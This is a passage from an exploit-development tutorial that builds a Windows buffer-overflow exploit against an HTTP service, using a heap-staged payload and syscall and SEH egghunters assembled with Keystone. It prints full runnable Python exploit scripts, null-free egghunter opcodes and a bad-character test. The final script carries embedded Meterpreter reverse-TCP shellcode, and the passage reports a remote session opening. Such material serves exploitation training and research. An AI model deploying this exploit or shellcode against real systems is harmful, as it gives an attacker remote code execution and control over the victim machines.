WinDbg’s ASCII search (s -a) locates the string w00tw00t at heap address 0x023b6c1e. A dc dump of that address confirms the marker is followed by an unbroken 400-byte D-buffer. The !teb command shows that the address is outside StackBase/StackLimit (confirming it is not on the stack), and !address reports the region as MEM_COMMIT, PAGE_READWRITE, with usage flagged as Heap. The body parser delivered everything we asked for, exactly where we hoped it would land.

s -a — egg marker w00tw00t found in process memory
Figure 12.7 — ASCII search finds w00tw00t at heap address. Source: original article.
dc address — secondary buffer contents confirmed in memory
Figure 12.8 — Dumping found address shows w00tw00t followed by unbroken D bytes. Buffer arrived intact. Source: original article.
? calculation — 400 bytes available in secondary buffer
Figure 12.9 — Calculation confirms 400 bytes available. Source: original article.
!teb — secondary buffer address outside stack limits
Figure 12.10 — TEB shows buffer address outside StackLimit, confirming not on stack. Source: original article.
!address — MEM_COMMIT PAGE_READWRITE heap allocation
Figure 12.11 — !address reports MEM_COMMIT, PAGE_READWRITE, Heap usage. Buffer in Windows heap. Source: original article.

13. The Windows Heap Manager

A brief detour into theory clarifies why hardcoding addresses fails. The Windows heap manager is a software abstraction over the kernel’s virtual memory subsystem. Functions like HeapAlloc hand out variable-sized blocks carved from one or more pages obtained via VirtualAlloc, with per-block metadata tracking size and free/used status. Because the address returned by an allocation depends on the order and size of every prior allocation in the process, two runs of the same program with the same input rarely produce identical heap layouts. Add LFH randomization and segment heap on modern builds, and the variance is enormous. An egghunter sidesteps this entirely by discovering the address at runtime via a content scan, requiring only that the egg marker eventually appears somewhere in mapped memory.

14. The Keystone Assembler Engine

Writing an egghunter by hand — computing each relative jump displacement, tracking instruction lengths, watching for embedded nulls — is exhausting and error-prone. The Keystone Engine is a Python-callable multi-architecture assembler that takes textual assembly and returns raw opcode bytes, automating label resolution and offset arithmetic in the same way nasm does at the command line. It is the right tool for iterating on small position-independent payloads where every byte matters.

Keystone basic-usage script
Figure 14.1 — Minimal Keystone script assembling 32-bit x86. Source: original article.
Keystone output — correct opcodes printed
Figure 14.2 — Keystone assembles four instructions and prints opcodes. Source: original article.
nasm_shell — identical output to Keystone, confirming both assemblers agree
Figure 14.3 — nasm_shell produces same opcode bytes as Keystone. Both assemblers agree. Source: original article.

15. The Syscall-Based Egghunter

15.1 Concept: Using the Kernel as a Memory Probe

Naive scanning would walk memory by reading directly from candidate pointers, but on an unmapped page that fails with an unhandled access violation and kills the process. The kernel, however, can be asked to perform the same access on the user’s behalf. NtAccessCheckAndAuditAlarm is one such syscall: invoke it via INT 0x2E, and if the supplied address is in an inaccessible page, the kernel returns STATUS_ACCESS_VIOLATION (0xC0000005) instead of crashing the caller. Check the low byte (0x05) and skip ahead a page when it is set. The process survives the scan because the dangerous dereference happens in ring 0, not ring 3.

15.2 Full Egghunter Code

The complete syscall egghunter is 32 bytes. It uses EDX as the address counter, EAX for the syscall number and egg signature, and EDI as the SCASD pointer. The structure is: align to end of current page, advance one byte, save EDX, issue the syscall, check the result, restore EDX, jump to next page on access violation, otherwise compare two consecutive DWORDs to the egg via SCASD, and finally JMP EDI on a full match.

from keystone import *

CODE = (
    # We use the edx register as a memory page counter
    " "
    " loop_inc_page: "             # Go to the last address in the memory page
    "       or dx, 0x0fff ;"
    " loop_inc_one: "             # Increase the memory counter by one
    "       inc edx ;"
    " loop_check: "             # Save the edx register which holds our memory address on the stack
    "       push edx ;"              # Push the system call number
    "       push 0x2 ;"             # Initialize the call to NtAccessCheckAndAuditAlarm
    "       pop eax ;"              # Perform the system call
    "       int 0x2e ;"              # Check for access violation, 0xc0000005 (ACCESS_VIOLATION)
    "       cmp al, 0x05 ;"              # Restore the edx register to check later for our egg
    "       pop edx ;"
    " loop_check_valid: "             # If access violation encountered, go to next page
    "       je loop_inc_page ;"
    " is_egg: "             # Load egg (w00t in this example) into the eax register
    "       mov eax, 0x74303077 ;"              # Initialize pointer with current checked address
    "       mov edi, edx ;"              # Compare eax with doubleword at edi and set status flags
    "       scasd ;"              # No match, increase our memory counter by one
    "       jnz loop_inc_one ;"              # First part of the egg detected, check for the second part
    "       scasd ;"              # No match, we found just a location with half an egg
    "       jnz loop_inc_one ;"
    " matched: "             # The edi register points to the first byte of our buffer
    "       jmp edi ;" )

# Initialise engine in 32-bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)

instructions = ""
for dec in encoding:
    instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")

print(f"Opcodes: {instructions}")
Full syscall egghunter Keystone script
Figure 15.1 — Complete syscall-based egghunter in Keystone assembly. Source: original article.

15.3 Instruction-by-Instruction Walkthrough

The page-skip logic begins with OR DX, 0x0FFF, which forces the low 12 bits of the low 16 bits of EDX to 1, landing the pointer on the last byte of the current 4 KiB page. INC EDX then carries into the next page. The clever bit is that this works as a one-byte advance everywhere except at a page boundary, where it functions as a giant skip.

OR DX, 0x0FFF — set low 12 bits of DX to align to last byte of current page
Figure 15.2 — OR DX, 0x0FFF forces bits 0–11 of low 16 bits to 1. Aligns to last byte of page; INC jumps to next. Source: original article.
INC EDX — advance pointer by one byte
Figure 15.3 — INC EDX (\x42, one byte) moves pointer forward. Source: original article.
Full syscall block — PUSH EDX, PUSH 0x2, POP EAX, INT 0x2E, CMP AL 0x05, POP EDX
Figure 15.4 — Complete syscall block. Source: original article.
PUSH EDX — save current address before syscall
Figure 15.5 — We save EDX before INT 0x2E modifies it. Source: original article.
PUSH 0x2 — place syscall number on stack without null bytes
Figure 15.6 — PUSH 0x2 places immediate on stack as single-byte instruction. Source: original article.
POP EAX — load syscall number into EAX
Figure 15.7 — POP EAX transfers value to EAX. EAX = 0x02. Source: original article.
INT 0x2E — software interrupt to invoke kernel system call
Figure 15.8 — INT 0x2E elevates to ring 0, executes kernel routine, returns. Result in EAX. Source: original article.
CMP AL, 0x05 — check low byte for STATUS_ACCESS_VIOLATION
Figure 15.9 — If kernel couldn’t access page, AL = 0x05. Source: original article.
POP EDX — restore probe address after syscall
Figure 15.10 — EDX restored regardless of comparison result. Source: original article.
JE loop_inc_page — jump to page-skip on access violation
Figure 15.11 — If AL == 0x05, ZF set and JE jumps to page-skip. Source: original article.
is_egg block — load egg value, set EDI, call SCASD twice
Figure 15.12 — Egg-check block. Source: original article.
MOV EAX, 0x74303077 — load 'w00t' signature into EAX
Figure 15.13 — EAX holds first half of egg marker. Source: original article.
MOV EDI, EDX — point EDI at current candidate address
Figure 15.14 — EDI is now the address being tested. Source: original article.
SCASD — compare [EDI] with EAX; EDI advances by 4
Figure 15.15 — SCASD compares DWORD at [EDI] with EAX and increments EDI by 4. Source: original article.
Intel manual — SCASD: compares EAX with [EDI] and increments EDI by 4
Figure 15.16 — Official Intel definition of SCASD semantics. Source: original article.
JNZ loop_inc_one — first-half mismatch; advance one byte and retry
Figure 15.17 — Mismatch branch. Advance one byte and retry. Source: original article.
Second SCASD — check second 'w00t' DWORD
Figure 15.18 — EDI has advanced 4 bytes, so second call checks [address+4]. Source: original article.
JNZ loop_inc_one — second-half mismatch; advance one byte
Figure 15.19 — If only first half matched, advance one byte. Source: original article.
JMP EDI — both halves matched; jump to payload
Figure 15.20 — Both SCASD calls succeeded. EDI points at first byte of shellcode. JMP EDI transfers. Source: original article.

16. Running the Egghunter — First Attempt

16.1 Generating the Opcodes

Running the Keystone script produces 32 bytes of null-free opcodes, printed as a Python escape-sequence literal ready to paste into the exploit. The output format makes substitution trivial: copy the string, paste it in place of the A-filler portion of the crash buffer, and prepend a small NOP sled for landing tolerance.

# Sample Keystone output for the syscall-based egghunter
Opcodes: \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7
Keystone — egghunter opcodes generated successfully
Figure 16.1 — Keystone assembles complete egghunter. Output formatted as \xNN escape sequences. Source: original article.

16.2 Adding the Egghunter to the Exploit

The egghunter replaces the leading portion of the A-filler. Eight 0x90 NOPs precede it as a landing sled, and the remaining A’s pad out to the 253-byte offset. The secondary heap buffer carries the w00tw00t egg followed by 400 dummy D bytes. On the first run, the conditional jump correctly lands inside the egghunter, but the JMP EDI breakpoint is never reached — access violations flow continuously and the scanner never matches. Something is wrong with the syscall.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method    = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
    egghunter = (b"\x90" * 8) + b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
    filler    = b"A" * (253 - len(egghunter))
    EIP       = pack("<L", 0x418674)
    shellcode = b"w00tw00t" + b"D" * 400
    payload   = method + egghunter + filler + EIP + b"\r\n\r\n" + shellcode

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Exploit updated: NOP sled + egghunter in crash buffer
Figure 16.2 — Egghunter replaces A-filler. Eight NOPs precede it. Remaining A’s pad to 253-byte offset. Source: original article.
Running egghunter exploit
Figure 16.3 — Complete first egghunter exploit delivered. Source: original article.
WinDbg — application crashes with breakpoint armed
Figure 16.4 — Application crashes. Source: original article.
ph — stopped at conditional jump in method field
Figure 16.5 — ph stopped at JZ in method field. Source: original article.
u address — egghunter disassembly intact in crash buffer
Figure 16.6 — Disassembling target shows egghunter instructions intact. Source: original article.
s -a — egg marker found in process memory
Figure 16.7 — Search finds w00tw00t at heap address. Source: original article.
Breakpoint set on JMP EDI — egghunter's final instruction
Figure 16.8 — Breakpoint on JMP EDI tells us exact moment egghunter finds egg. Source: original article.
sxn av; g — egghunter running, access violations flowing
Figure 16.9 — Egghunter scanning. First-chance access violations flowing. JMP EDI breakpoint never hit. Source: original article.

17. Debugging the Syscall Number

17.1 Why the Egghunter Loops

The classic syscall egghunter used EAX = 0x02 for NtAccessCheckAndAuditAlarm, but that index was the correct one on Windows XP. The Windows native syscall table is renumbered between major builds, and on Windows 10 the index for that function is entirely different. The kernel happily executes some syscall when the egghunter fires INT 0x2E, but it is not the one that returns STATUS_ACCESS_VIOLATION on unmapped pages, so the page-skip logic never engages. The scanner walks the entire address space byte by byte, faults repeatedly, and never matches anything.

Re-running exploit to debug syscall
Figure 17.1 — Clean re-run with debugger attached. Source: original article.
WinDbg — application crashes again
Figure 17.2 — Application crashes. Source: original article.
ph; ph — stepped past both branches to egghunter
Figure 17.3 — Two ph commands walk past POP EAX; RET gadget and conditional jump. Source: original article.
Disassembly of egghunter at start address
Figure 17.4 — Egghunter instructions intact. Source: original article.
Breakpoint set on INT 0x2E
Figure 17.5 — Breakpoint on INT 0x2E instruction. Source: original article.
Breakpoint hit at INT 0x2E — registers visible
Figure 17.6 — Breakpoint fires. EAX=0x02 (syscall number). EAX is the problem. Source: original article.

17.2 Finding the Correct Syscall Number

The authoritative source of the current syscall index is the user-mode stub in ntdll.dll. Disassembling ntdll!NtAccessCheckAndAuditAlarm reveals a textbook syscall stub starting with MOV EAX, 0x1C8. That value — 456 decimal — is the correct ordinal for this Windows 10 build.

u ntdll!NtAccessCheckAndAuditAlarm — MOV EAX, 0x1C8
Figure 17.7 — Disassembly shows MOV EAX, 0x1C8. Correct index on Windows 10 is 0x1C8, not 0x02. Source: original article.

17.3 The Null-Byte Problem with 0x1C8

Substituting PUSH 0x1C8 in the Keystone source seems like a trivial fix until the opcodes are inspected. PUSH with a 32-bit immediate encodes the value as a full DWORD, so 0x000001C8 appears in the stream as \x00\x00\x01\xC8. That is two embedded null bytes — instant truncation in the URL path. A different encoding strategy is required.

from keystone import *

CODE = (
    " "
    " loop_inc_page: "
    "       or dx, 0x0fff ;"
    " loop_inc_one: "
    "       inc edx ;"
    " loop_check: "
    "       push edx ;"             # Updated syscall number
    "       push 0x1C8 ;"
    "       pop eax ;"
    "       int 0x2e ;"
    "       cmp al, 0x05 ;"
    "       pop edx ;"
    " loop_check_valid: "
    "       je loop_inc_page ;"
    " is_egg: "
    "       mov eax, 0x74303077 ;"
    "       mov edi, edx ;"
    "       scasd ;"
    "       jnz loop_inc_one ;"
    "       scasd ;"
    "       jnz loop_inc_one ;"
    " matched: "
    "       jmp edi ;" )

ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)

instructions = ""
for dec in encoding:
    instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")

print(f"Opcodes: {instructions}")
Updated Keystone script with PUSH 0x1C8 instead of PUSH 0x2
Figure 17.8 — Updated script with PUSH 0x1C8. Source: original article.
Keystone output — null bytes visible in 0x1C8 encoding
Figure 17.9 — Generated opcodes contain \x00\x00 from PUSH 0x000001C8. Nulls break egghunter. Source: original article.

18. The NEG Trick: Null-Free Encoding of 0x1C8

18.1 Arithmetic Encoding

If an immediate cannot be encoded directly without producing null bytes, the trick is to compute it at runtime from a different immediate that does encode cleanly. Two’s-complement negation supplies the answer: 0 - 0x1C8 = 0xFFFFFE38. The byte sequence for MOV EAX, 0xFFFFFE38 is \xB8\x38\xFE\xFF\xFF — no nulls. NEG EAX follows as a two-byte instruction (\xF7\xD8), also null-free. At execution time EAX ends up holding 0x000001C8 exactly as needed, with no 0x00 ever appearing in the encoded payload.

? 0x00 - 0x1C8 = 0xFFFFFE38 in WinDbg
Figure 18.1 — 0x00 – 0x1C8 = 0xFFFFFE38. Complement is null-free in encoding. Source: original article.

18.2 Updated Egghunter Script

The Keystone source now uses MOV EAX, 0xfffffe38; NEG EAX instead of PUSH 0x1C8; POP EAX. The output is a fully null-free 32-byte stub that probes memory with the correct Windows 10 syscall index. A grep of the output confirms there are zero null bytes.

from keystone import *

CODE = (
    " "
    " loop_inc_page: "
    "       or dx, 0x0fff ;"
    " loop_inc_one: "
    "       inc edx ;"
    " loop_check: "
    "       push edx ;"             # Null-free encoding of syscall 0x1C8
    "       mov eax, 0xfffffe38 ;"
    "       neg eax ;"
    "       int 0x2e ;"
    "       cmp al, 0x05 ;"
    "       pop edx ;"
    " loop_check_valid: "
    "       je loop_inc_page ;"
    " is_egg: "
    "       mov eax, 0x74303077 ;"
    "       mov edi, edx ;"
    "       scasd ;"
    "       jnz loop_inc_one ;"
    "       scasd ;"
    "       jnz loop_inc_one ;"
    " matched: "
    "       jmp edi ;" )

ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)

instructions = ""
for dec in encoding:
    instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")

print(f"Opcodes: {instructions}")
Updated Keystone script — MOV EAX, 0xFFFFFE38; NEG EAX replaces PUSH 0x1C8
Figure 18.2 — MOV + NEG encoding. No null bytes. Source: original article.
Keystone output — null-free opcodes for Windows 10-compatible egghunter
Figure 18.3 — Generated opcodes are null-free. Egghunter compatible with Windows 10. Source: original article.

19. Getting a Shell — Syscall Egghunter

19.1 Updated Exploit

The corrected null-free 32-byte egghunter slots into the crash buffer in place of the broken one. Everything else — the conditional jump in the method field, the partial overwrite at offset 253, the heap-staged secondary buffer — remains untouched. WinDbg confirms the new MOV/NEG encoding is present in memory and null-free, then resumes execution. Access violations flow as the scanner walks the address space; eventually the JMP EDI breakpoint fires, with EDI pointing eight bytes past the egg marker — precisely at the first byte of the staged payload.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method    = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
    egghunter = (b"\x90" * 8) + b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"

    filler    = b"A" * (253 - len(egghunter))
    EIP       = pack("<L", 0x418674)   # POP EAX; RET
    shellcode = b"w00tw00t" + b"D" * 400
    payload   = method + egghunter + filler + EIP + b"\r\n\r\n" + shellcode

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Exploit with corrected Windows 10-compatible syscall egghunter
Figure 19.1 — Exploit with corrected MOV EAX, 0xFFFFFE38; NEG EAX encoding. Source: original article.
Running corrected syscall egghunter exploit
Figure 19.2 — Updated payload delivered. Source: original article.
WinDbg — egghunter disassembly shows new syscall encoding correct
Figure 19.3 — Disassembly confirms MOV EAX, 0xFFFFFE38; NEG EAX in place and null-free. Source: original article.
Breakpoint on JMP EDI
Figure 19.4 — Breakpoint placed on final JMP EDI. Source: original article.
g — egghunter scanning, access violations proceeding
Figure 19.5 — Execution resumed. Access violations flowing. Egghunter scanning. Source: original article.
JMP EDI breakpoint hit — egghunter found egg
Figure 19.6 — JMP EDI breakpoint fires. Egghunter located w00tw00t in heap. Source: original article.
dc @edi-8 — w00tw00t egg marker and D-buffer confirmed at destination
Figure 19.7 — Eight bytes before EDI show w00tw00t and D bytes. EDI at byte 9 of shellcode. Source: original article.

19.2 Secondary Buffer Bad Character Check

Before substituting a real shellcode, it is worth verifying that the heap buffer accepts every byte unaltered. Placing the full \x01\xff sequence after the egg marker and inspecting memory at the JMP EDI breakpoint shows every byte intact. The HTTP body has no additional bad-character restrictions beyond the universal set (which Meterpreter generators handle natively). Any shellcode of reasonable size will land cleanly.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method    = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
    egghunter = (b"\x90" * 8) + b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"
    filler    = b"A" * (253 - len(egghunter))
    EIP       = pack("<L", 0x418674)
    badchars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    shellcode = b"w00tw00t" + badchars + b"D" * (400 - len(badchars))
    payload   = method + egghunter + filler + EIP + b"\r\n\r\n" + shellcode

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Bad-character test script for secondary buffer region
Figure 19.8 — Full byte range \x01–\xff placed after egg in secondary buffer. Source: original article.
Running secondary buffer bad-character test
Figure 19.9 — Bad-character test payload delivered. Source: original article.
db @edi L110 — all bytes intact, no corruption in secondary buffer
Figure 19.10 — All bytes in secondary buffer arrived intact. HTTP body has no bad-character restrictions. Source: original article.

19.3 Final Exploit with Meterpreter Shell

The final exploit replaces the dummy D-buffer with an msfvenom-generated Meterpreter reverse-TCP payload, encoded to avoid the universal bad-character set, prefixed by the w00tw00t egg marker, and padded out to 500 bytes. A Metasploit multi/handler is configured with matching LHOST, LPORT, and EXITFUNC. Running the exploit triggers the same chain — partial overwrite, gadget pivot, conditional jump, egghunter scan — and the Meterpreter handler reports a session opening from the target.

import socket
from struct import pack
import sys

try:
    server = sys.argv[1]
    port = 8000
    size = 260
    method    = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"
    egghunter = (b"\x90" * 8) + b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"

    filler    = b"A" * (253 - len(egghunter))
    EIP       = pack("<L", 0x418674)   # POP EAX; RET
    shellcode  = b""
    shellcode += b"\x90" * 8
    shellcode += b"\xb8\x44\x35\x1d\x4a\xdb\xcb\xd9\x74\x24\xf4"
    shellcode += b"\x5f\x2b\xc9\xb1\x5e\x31\x47\x15\x83\xc7\x04"
    shellcode += b"\x03\x47\x11\xe2\xb1\xc9\xf5\xc5\x39\x32\x06"
    shellcode += b"\xba\x08\xe0\x8f\xdf\x0e\x8f\xc2\x2f\x45\xdd"
    shellcode += b"\xee\xc4\x0b\xf6\x65\xa8\x83\xf9\xce\x07\xf5"
    shellcode += b"\x34\xce\xa9\x39\x9a\x0c\xab\xc5\xe1\x40\x0b"
    shellcode += b"\xf4\x29\x95\x4a\x31\xfc\xd3\xa3\xef\xa8\x90"
    shellcode += b"\x6e\x1f\xdc\xe5\xb2\x1e\x32\x62\x8a\x58\x37"
    shellcode += b"\xb5\x7f\xd4\x36\xe6\x0b\xbc\x18\x56\x87\x74"
    shellcode += b"\x41\x57\x44\x01\xb8\x23\x56\x38\xc4\x85\x2d"
    shellcode += b"\x0e\xb1\x17\xe4\x5f\x05\xbb\xc9\x50\x88\xc5"
    shellcode += b"\x0e\x56\x73\xb0\x64\xa5\x0e\xc3\xbe\xd4\xd4"
    shellcode += b"\x46\x21\x7e\x9e\xf1\x85\x7f\x73\x67\x4d\x73"
    shellcode += b"\x38\xe3\x09\x97\xbf\x20\x22\xa3\x34\xc7\xe5"
    shellcode += b"\x22\x0e\xec\x21\x6f\xd4\x8d\x70\xd5\xbb\xb2"
    shellcode += b"\x63\xb1\x64\x17\xef\x53\x72\x27\x10\xac\x7b"
    shellcode += b"\x75\x87\x61\xb6\x86\x57\xed\xc1\xf5\x65\xb2"
    shellcode += b"\x79\x92\xc5\x3b\xa4\x65\x5f\x2b\x57\xb9\xe7"
    shellcode += b"\x3b\xa9\x3a\x18\x12\x6e\x6e\x48\x0c\x47\x0f"
    shellcode += b"\x03\xcc\x68\xda\xbe\xc6\xfe\xef\x3e\xd4\xfb"
    shellcode += b"\x87\x3c\xd8\x02\xe3\xc8\x3e\x54\x43\x9b\xee"
    shellcode += b"\x15\x33\x5b\x5e\xfe\x59\x54\x81\x1e\x62\xbe"
    shellcode += b"\xaa\xb5\x8d\x17\x83\x21\x37\x32\x5f\xd3\xb8"
    shellcode += b"\xe8\x1a\xd3\x33\x19\xdb\x9a\xb3\x68\xcf\xcb"
    shellcode += b"\xa3\x92\x0f\x0c\x46\x93\x65\x08\xc0\xc4\x11"
    shellcode += b"\x12\x35\x22\xbe\xed\x10\x30\xb8\x12\xe5\x01"
    shellcode += b"\xb3\x25\x73\x2e\xab\x49\x93\xae\x2b\x1c\xf9"
    shellcode += b"\xae\x43\xf8\x59\xfd\x76\x07\x74\x91\x2b\x92"
    shellcode += b"\x77\xc0\x98\x35\x10\xee\xc7\x72\xbf\x11\x22"
    shellcode += b"\x01\xb8\xee\xb1\x2e\x61\x87\x49\x6f\x91\x57"
    shellcode += b"\x23\x6f\xc1\x3f\xb8\x40\xee\x8f\x41\x4b\xa7"
    shellcode += b"\x87\xc8\x1a\x05\x39\xcd\x36\xcb\xe7\xce\xb5"
    shellcode += b"\xd0\x18\xb5\xb6\xe7\xd8\x4a\xdf\x83\xd8\x4b"
    shellcode += b"\xdf\xb5\xe5\x9a\xe6\xc3\x28\x1f\x5d\xcb\xb6"
    shellcode += b"\xb5\xa8\x64\x6f\x5c\x11\xe9\x90\x8b\x56\x14"
    shellcode += b"\x13\x39\x27\xe3\x0b\x48\x22\xaf\x8b\xa1\x5e"
    shellcode += b"\xa0\x79\xc5\xcd\xc1\xab"
    egg     = b"w00tw00t" + shellcode + b"D" * (500 - len(shellcode))
    payload = method + egghunter + filler + EIP + b"\r\n\r\n" + egg

    print("[+] Sending Evil Buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(payload)
    s.recv(1024)
    s.close()
    print("[+] Evil Buffer Sent...")

except Exception as e:
    print(f"[!] Could Not Connect: {e}")
    sys.exit(0)
Final syscall egghunter exploit with Meterpreter shellcode
Figure 19.11 — Complete exploit. Egg marker prefixes Meterpreter reverse-shell payload. Source: original article.
Metasploit multi/handler waiting for connection
Figure 19.12 — Metasploit multi/handler configured with matching LHOST, LPORT, exitfunc. Source: original article.
Running final syscall egghunter exploit
Figure 19.13 — Final exploit sent. Source: original article.
Meterpreter session opened — remote code execution achieved
Figure 19.14 — Meterpreter session opens. Egghunter successfully scanned, found w00tw00t, executed reverse shell. Source: original article.

20. The SEH-Based Egghunter

20.1 The Portability Problem

The syscall approach works, but it ties the egghunter to a specific Windows build. Move the exploit from Windows 10 to Windows 7 or Windows 11 and the syscall index changes, breaking the page-skip probe. The cure is to stop calling the kernel for memory validity altogether and instead let the kernel’s exception dispatcher do the work for free. A custom Structured Exception Handler installed at FS:[0] catches the access violation generated by the egghunter’s own REPE SCASD, modifies the saved EIP to skip past the faulting instruction, and resumes scanning. There is no hardcoded ordinal; the technique is OS-version agnostic.

20.2 Full Egghunter Code

The SEH egghunter is 63 bytes and is organized into five logical sections: an entry jump, a SEH-record builder (reached via CALL/POP for position independence), the egg-scan loop, a page-skip helper, and the exception handler itself. The CALL/POP idiom is essential: it captures the address of the handler at runtime without requiring any hardcoded absolute offset, which lets the same byte sequence work no matter where it is loaded in memory.

from keystone import *

CODE = (
    # Jump forward so we can obtain our current address
    # using a CALL/POP technique
    "start:                             "
    "       jmp get_seh_address;               "

    # -----------------------------------------------------------------
    # Build a custom SEH record
    # -----------------------------------------------------------------
    "build_exception_record:            "
            # Pop the return address from the CALL below.
            # This address becomes our exception handler.
    "       pop ecx;                           "
            # Load our egg signature ("w00t")
    "       mov eax, 0x74303077;               "
            # _EXCEPTION_REGISTRATION_RECORD.Handler
    "       push ecx;                          "
            # _EXCEPTION_REGISTRATION_RECORD.Next
    "       push 0xffffffff;                   "
            # Zero EBX
    "       xor ebx, ebx;                      "
            # Install our SEH record:
            # FS:[0] = pointer to _EXCEPTION_REGISTRATION_RECORD
    "       mov dword ptr fs:[ebx], esp;       "

    # -----------------------------------------------------------------
    # Egg searching loop
    # -----------------------------------------------------------------
    "is_egg:                            "
            # ECX = 2
            # We want REPE SCASD to compare two DWORDs:
            # "w00t" + "w00t"
    "       push 0x02;                         "
    "       pop ecx;                           "
            # EDI points to the memory location currently being tested
    "       mov edi, ebx;                      "
            # Compare EAX ("w00t") against two consecutive DWORDs.
            # If an invalid page is accessed, an exception occurs and
            # our SEH handler will redirect execution.
    "       repe scasd;                        "

    # Not a match - continue searching one byte later
    "       jnz loop_inc_one;                  "
            # Found "w00tw00t" - EDI points immediately after the egg
    "       jmp edi;                           "

    # -----------------------------------------------------------------
    # Invalid page handler target
    # -----------------------------------------------------------------
    "loop_inc_page:                     "
            # Move to the end of the current memory page
    "       or bx, 0xfff;                      "

    # -----------------------------------------------------------------
    # Advance one byte and continue searching
    # -----------------------------------------------------------------
    "loop_inc_one:                      "
    "       inc ebx;                           "
    "       jmp is_egg;                        "

    # -----------------------------------------------------------------
    # Obtain the exception handler address via CALL/POP
    # -----------------------------------------------------------------
    "get_seh_address:                   "
    "       call build_exception_record;       "
            # -----------------------------------------------------------------
            # SEH exception handler (reached only by dispatcher)
            # -----------------------------------------------------------------
            # ECX = 0x0C
    "       push 0x0c;                         "
    "       pop ecx;                           "
            # Retrieve pointer to CONTEXT structure
            # Stack layout during exception dispatch:
            #   [ESP+0x0C] -> CONTEXT*
    "       mov eax, [esp+ecx];                "
            # Offset of EIP inside CONTEXT structure
    "       mov cl, 0xb8;                      "
            # Modify saved EIP to point to loop_inc_page (6 bytes forward)
    "       add dword ptr [eax+ecx], 0x06;     "
            # Save original return value
    "       pop eax;                           "
            # Clean up exception handler stack frame
    "       add esp, 0x10;                     "
            # Restore return value
    "       push eax;                          "
            # EXCEPTION_CONTINUE_EXECUTION - return 0
    "       xor eax, eax;                      "
            # Return from exception handler
    "       ret;                               " )

